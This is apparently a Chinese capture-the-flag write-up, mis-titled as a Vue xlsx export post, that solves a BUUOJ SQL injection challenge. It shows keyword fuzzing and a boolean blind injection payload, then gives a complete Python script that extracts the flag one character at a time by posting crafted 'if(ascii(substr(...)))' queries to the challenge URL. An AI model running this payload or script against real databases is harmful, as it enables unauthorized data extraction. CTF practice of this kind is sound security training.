vue 匯出 xlsx
阿新 • • 發佈:2020-09-10
題目
拿到這道題,是給了提示的,我們猜想是一道注入的題目
分析
我們先提交一個1,抓個包看看
再跟個1'呢
發現報錯,再輸入1' or 1=1--+,猜想後端應該是做了某種過濾
我們先來fuzz一下,看到底哪些關鍵字被過濾掉了
把資料包放到爆破模組中
匯入我們的fuzz字典,然後開始爆破
leng=472的是沒有被過濾掉的,結合沒有被過濾的關鍵字,我們考慮用bool盲注
payload
id=0^(ascii(substr((select(flag)from(flag)),1,1))>101)
當>102時,報錯,說明第一個字元就是102的ascii所對應的字元,也就是f
我們可以寫一個python指令碼,解放勞動力(我寫的指令碼有問題,這裡貼上別人的指令碼)
1 import requests
2
3 url = "http://bdff4bff-23c2-43c2-969e-74bedf958792.node3.buuoj.cn/index.php"
4
5 result = ""
6 num = 0 # 用了來判斷是不是flag已經拼完整了
7 for i in range(1, 60):
8
9 if num == 1:
10 break
11
12 for j in range(32, 128):
13
14 payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
15 # print(str((i-1)*96+j-32)+":~"+payload+"~")
16
17 data = {
18 "id": payload,
19 }
20
21 r = requests.post(url, data=data)
22
23 r.encoding = r.apparent_encoding
24
25 if "Hello" in r.text:
26 x = chr(j)
27 result += str(x)
28 print(result)
29 break
30
31 if "}" in result:
32 print(result)
33 num = 1
34 break